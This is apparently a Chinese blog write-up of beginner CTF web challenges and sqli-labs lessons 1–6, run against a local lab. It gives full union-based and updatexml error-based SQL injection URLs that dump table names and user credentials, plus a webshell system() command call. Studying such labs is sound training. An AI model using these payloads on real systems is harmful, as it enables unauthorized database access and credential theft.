web及sql-lib靶场初级

一、攻防世界WEB新手练习区

1.view_source

  F12(开发者模式)???。。。啰嗦

源代码解决!!!

 

2.robots

 注:摘自Robots协议是什么? (biancheng.net)

 

所以答案就有了(绿框框) ,是一个.php,打开它!!!

3.backup

 

注:.bak为人为保存

下载后打开即可!!!

 

4.cookie 

 

查看cookie:开发者模式-内存-cookie

 查看 http response,打开 开发者模式 -> 网络 查看 消息头

5.disabled_button

action: 是规定此表单就交给那个文件执行,这里为空,咱不管它;

<form>:标签用于为用户输入创建 HTML 表单;
 

method:表示请求方法,这里是POST请求;
 

<input>:标签用于搜集用户信息;
 

disabled:disabled属性规定应该禁用input元素,这里就是禁用包含它的input元素,这也就是点击不了flag按钮的原因,都禁用input标签了,你还想点?
 

class:class属性规定元素的类名(classname),大多数时候用于指向样式表中的类(class)
 

btn btn-default:是默认按钮的样式(它有很多种样式,默认样式是其中的一种,其实就是按钮的形状样式变化
 

style:style属性规定元素的行内样式(inline style)
 

height:50px;     width:200px   这里是规定了高和宽的像素
 

type:type属性规定input元素的类型
 

submit:定义提交按钮,提交按钮会把表单数据发送到服务器
 

value:value属性为input元素设定值

flag:value的值,定义按钮上显示的文本为flag

name:name属性规定input元素的名称
 

auth:服务器端接收数据所使用的变量名
版权声明:标签介绍为CSDN博主「1stPeak」的原创文章,原文链接:https://blog.csdn.net/qq_41617034/article/details/90678997

 

6.weak_auth 

 

7.simple_php  

flag 由 flag1 和 flag2 组合而成的,所以要以 get 的方式 提交 a,b 的值;理解代码可知 a 既要不严格等于零又要为真(所以a可取值: 0+任意字符),b不是数字但又要大于1234(所以b可取值:大于1234的数字+任意字符)

8.get_post 

 

9.xff_referer

前情提要:

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

Referer 是 HTTP 请求header的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含Referer。

ATTENTION:Referer 的正确英语拼法是referrer 。由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。其它网络技术的规范企图修正此问题,使用正确拼法,所以目前拼法不统一。还有它第一个字母是大写。

burp抓包后发现需要用ip123.123.123.123进行请求,所以为网站添加xff头 

接下来由题目要求为其添加Referer 

即可得到flag 

 10.webshell

打开后发现网页由POST方式传参 

 

 使用system函数加dir显示它的目录文件,

shell=system(ls);  同理(ls为linux环境下的命令字符)

 cat命令符打开flag文件即可

----------------------------------------------------------------------------------------------------------------------------

二、sqli-labs靶场练习(1~6)

0.环境配置(基于PHPstudy)

0.1复制文件至此目录

0.2 修改sqli-labs中的db-creds.inc的代码

 0.3 记得修改PHP版本

否则!!!

 0.4点击Setup/reset Datebase for labs

 0.5 success

提要:在URL编码中的符号

%20   代表   空格

%27   代表   ' 

0x3a  0x是十六进制标志,3a是十进制的58,是ascii中的 :(冒号)

--    单行注释

#         单行注释

/**/ 多行注释

-- 不是注释符,–后还需要一个空格 ,而在web中 + 和空格等价

1.less-1  GET - Error based - Single quotes - String

1.1 判断注入点

http://localhost:8001/Less-1/?id=1 and 1=2

显示正常,我们的1=2并没有被当作代码执行,现在尝试对其进行闭合

http://localhost:8001/Less-1/?id=1%20%27and%201=2%20--+

 

http://localhost:8001/Less-1/?id=1%20%27and%201=1%20--+

可以看出,我们的1=1   1=2被当作了代码执行了,1=2为假,页面异常!!

由此说明在‘处存在sql注入

1.2 判断字段数

http://localhost:8001/Less-1/?id=1%20%27order%20by%201%20--+

http://localhost:8001/Less-1/?id=1%20%27order%20by%202%20--+

http://localhost:8001/Less-1/?id=1%20%27order%20by%203%20--+

http://localhost:8001/Less-1/?id=1%20%27order%20by%204%20--+

 

 

 不难看出 字段数为3

1.3 判断回显点

http://localhost:8001/Less-1/?id=1%27%20union%20select%201,2,3%20--+

???   前id=1已经查找到值,改用id=一个不存在的数字,常用0,-1等

http://localhost:8001/Less-1/?id=0%27%20union%20select%201,2,3%20--+

可以看到Login name和Password对应的回显点

1.4 查询相关内容 

1.4.1 查询库名

http://localhost:8001/Less-1/?id=0%27%20union%20select%201,database(),3%20--+

http://localhost:8001/Less-1/?id=0%27%20union%20select%201,2,database()%20--+

 1.4.2 查询表名

方法一:limit 值,值 逐个查询


 方法二:使用group_concat()函数,弊端是如果受输出字符数量限制时有可能会导致表名显示不全的情况 

http://localhost:8001/Less-1/?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+

1.4.3 查询列名

在这里,我们要查询到的列名为 password 

http://localhost:8001/Less-1/?id=0%20%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27emails%27%20--+

在emails表单中,没有我们要查询的passwod 

在users表里查询

http://localhost:8001/Less-1/?id=0%20%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20--+

查到了!!!

 1.4.4 查询数据

http://localhost:8001/Less-1/?id=0%20%27union%20select%20111,group_concat(id),3%20from%20users%20--+

先查看一下有多少个id--------------结果是13个

此时用group_concat()显然会由于面积有限显示不全,我们尝试一下,用到之前说的0x3a分割

http://localhost:8001/Less-1/?id=0%27%20union%20select%201,2,group_concat(username,0x3a,password)%20from%20users--+

 所以,采用limit值,值  的方式逐个查询,0x1代表一,0x2代表1,以此类推。

由于太慢,我们用group_concat()分别查询id对应的username和password

http://localhost:8001/Less-1/?id=0%27%20union%20select%20444,22,group_concat(id,0x3a,username)%20from%20users%20--+

http://localhost:8001/Less-1/?id=0%27%20union%20select%20444,22,group_concat(id,0x3a,password)%20from%20users%20--+

2.Less-2 GET - Error based - Intiger based 

2.1 题目分析(判断注入点)

 第二关相较于第一关,输入单引号,根据报错信息,可以确定输入的内容被原封不动的带入到数据库中,也可叫做数字型注入。

1=2 为假,被执行 

 通过查看原码验证一下,的确如此。

  

 所以第二关和第一关只是在闭合的符号上有区别而已。

2.2 判断字段数

http://localhost:8001/Less-2/?id=1%20order%20by%201%20--+
http://localhost:8001/Less-2/?id=1%20order%20by%202%20--+
http://localhost:8001/Less-2/?id=1%20order%20by%203%20--+
http://localhost:8001/Less-2/?id=1%20order%20by%204%20--+

 

 

2.3 判断回显点

http://localhost:8001/Less-2/?id=0%20union%20select%201,2,3%20--+

 2.4 查询相关内容 

 2.4.1 库名

http://localhost:8001/Less-2/?id=0%20union%20select%201,database(),database()%20--+

2.4.2 表名

http://localhost:8001/Less-2/?id=0%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+

 2.4.3 爆!列!名!

http://localhost:8001/Less-2/?id=0%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20--+

2.4.4 爆!用户账号密码!!

这回写的精炼了些。。。。。。

http://localhost:8001/Less-2/?id=0%20union%20select%201,group_concat(id,0x3a,username)%20,group_concat(id,0x3a,password)%20from%20users%20--+

3.GET - Error based - Single quotes with twist string

3.1 判断注入点

 no...(还是再看一下源码吧,后期学了盲测,再杀回来)

用')进行闭合 --将后面注释掉,进行sql注入 

 3.2 判断字段数

http://localhost:8001/Less-3/?id=1%27)%20order%20by%203%20--+
http://localhost:8001/Less-3/?id=1%27)%20order%20by%204%20--+

3.3 判断回显点

3.4 查询相关内容

3.4.1 查库名

http://localhost:8001/Less-3/?id=0%27)%20union%20select%201,database(),database()%20--+

 3.4.2 查表名

http://localhost:8001/Less-3/?id=0%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+

3.4.3 查列名

http://localhost:8001/Less-3/?id=0%27)%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20--+

 3.4.4 查数据

http://localhost:8001/Less-3/?id=0%27)%20union%20select%201,group_concat(id,0x3a,username)%20,group_concat(id,0x3a,password)%20from%20users%20--+

4.GET - Error based - Single quotes with twist string

4.1 判断注入点

多次盲测无果,还是看一下源码

可见)可造成闭合,又sql语句将"拼接到了id中,所以要使用")构成闭合,实现sql注入

http://localhost:8001/Less-4/?id=1%22)%20and%201=2%20--+

 猜想正确,以下步骤同前三题。

4.2 判断字段数

http://localhost:8001/Less-4/?id=1%22)%20order%20by%203%20--+

http://localhost:8001/Less-4/?id=1%22)%20order%20by%204%20--+

 4.3 判断回显点

http://localhost:8001/Less-4/?id=0%22)%20union%20select%201,2,3%20--+

 4.4 查询相关数据

#查询库名
?id=0") union select 1,database(),database() --+

#查询表名
?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

#查询列名
?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

#查询数据
?id=0") union select 1,group_concat(id,0x3a,username) ,group_concat(id,0x3a,password) from users --+

 

Less-5 GET - Double Injection - Single Quotes - String  

5.1 判断注入点 

/?id=1 and 1=1 --+
/?id=1 and 1=2 --+
/?id=1' and 1=1 --+
/?id=1' and 1=2 --+

 5.2 判断字段数

http://localhost:8001/Less-5/?id=1%27%20order%20by%203%20--+
http://localhost:8001/Less-5/?id=1%27%20order%20by%204%20--+

5.3 判断回显点

http://localhost:8001/Less-5/?id=1%27%20union%20select%201,2,3%20--+

?????????没有回显点???????? ?

在此我们要引入报错型盲注的概念,还可用布尔型盲注、时间延迟型盲注等,它们都属于盲注,以后再尝试。

5.4 利用updatexml()函数,查询相关数据

------本节直接使用函数,不清楚函数请自行了解MYSQL updatexml()函数报错注入解析------

在查询中需灵活使用concat 及 group_concat

5.4.1 查库

http://localhost:8001/Less-5/?id=1%20%27and%20updatexml(1,concat(0x7e,(SELECT%20database()),0x7e),1)--+

5.4.2 查表

http://localhost:8001/Less-5/?id=1%20%27and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)%20--+

 5.4.3 查列名

http://localhost:8001/Less-5/?id=1%20%27and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)%20--+

5.4.4 查数据

http://localhost:8001/Less-5/?id=1%20%27and%20updatexml(1,concat(0x7e,(select%20group_concat(id)%20from%20users),0x7e),1)%20--+

由于回显长度有限,只能用limit分段获取,首先需要查询有几个数据

 查到有13个数据,用limit分段获取

分别为0,1  1,1  2,1 ···················11,1  12,1      只演示第一个和最后一个

http://localhost:8001/Less-5/?id=1%20%27and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)%20from%20users%20limit%200,1),0x7e),1)%20--+

http://localhost:8001/Less-5/?id=1%20%27and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)%20from%20users%20limit%2012,1),0x7e),1)%20--+

Less-6 GET - Double Injection - Double Quotes - String

6.1 判断注入点

/?id=1 and 1=1 --+
/?id=1 and 1=2 --+
/?id=1' and 1=1 --+
/?id=1' and 1=2 --+

6.2 判断字段数

http://localhost:8001/Less-6/?id=1%27%20order%20by%203%20--+
http://localhost:8001/Less-6/?id=1%27%20order%20by%204%20--+

6.3 利用updatexml()函数,查询相关数据

6.3.1 查库

http://localhost:8001/Less-6/?id=1%20%22and%20updatexml(1,concat(0x7e,(SELECT%20database()),0x7e),1)--+

 6.3.2 查表

http://localhost:8001/Less-6/?id=1%20%22and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)%20--+

 6.3.3 查列名

http://localhost:8001/Less-6/?id=1%20%22and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)%20--+

6.3.4 查数据数量

http://localhost:8001/Less-6/?id=1%20%22and%20updatexml(1,concat(0x7e,(select%20group_concat(id)%20from%20users),0x7e),1)%20--+

6.3.5 查数据

http://localhost:8001/Less-6/?id=1%20%22and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)%20from%20users%20limit%200,1),0x7e),1)%20--+

http://localhost:8001/Less-6/?id=1%20%22and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)%20from%20users%20limit%2012,1),0x7e),1)%20--+

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值